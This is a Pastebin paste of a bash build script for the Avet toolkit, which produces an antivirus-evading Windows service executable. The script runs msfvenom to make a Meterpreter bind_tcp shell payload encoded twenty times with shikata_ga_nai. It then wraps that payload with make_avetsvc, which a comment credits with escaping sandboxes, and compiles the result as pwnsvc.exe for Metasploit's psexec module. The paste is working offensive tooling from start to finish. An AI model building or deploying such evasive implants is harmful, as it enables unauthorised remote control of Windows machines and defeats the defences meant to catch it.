Advertisement
TVT618

Bash script building the .exe file of Avet

Jan 28th, 2019
2,376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.69 KB | None | 0 0
  1. #!/bin/bash          
  2. # simple example script for building the .exe file
  3. # for use with msf psexec module
  4. # include script containing the compiler var $win32_compiler
  5. # you can edit the compiler in build/global_win32.sh
  6. # or enter $win32_compiler="mycompiler" here
  7. . build/global_win32.sh
  8. # make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai
  9. msfvenom -p windows/meterpreter/bind_tcp lport=8443 -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
  10. # call make_avetsvc, the sandbox escape is due to the many rounds of decoding the shellcode
  11. ./make_avetsvc -f sc.txt
  12. # compile to pwn.exe file
  13. $win32_compiler -o pwnsvc.exe avetsvc.c
  14. # cleanup
  15. echo "" > defs.h
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement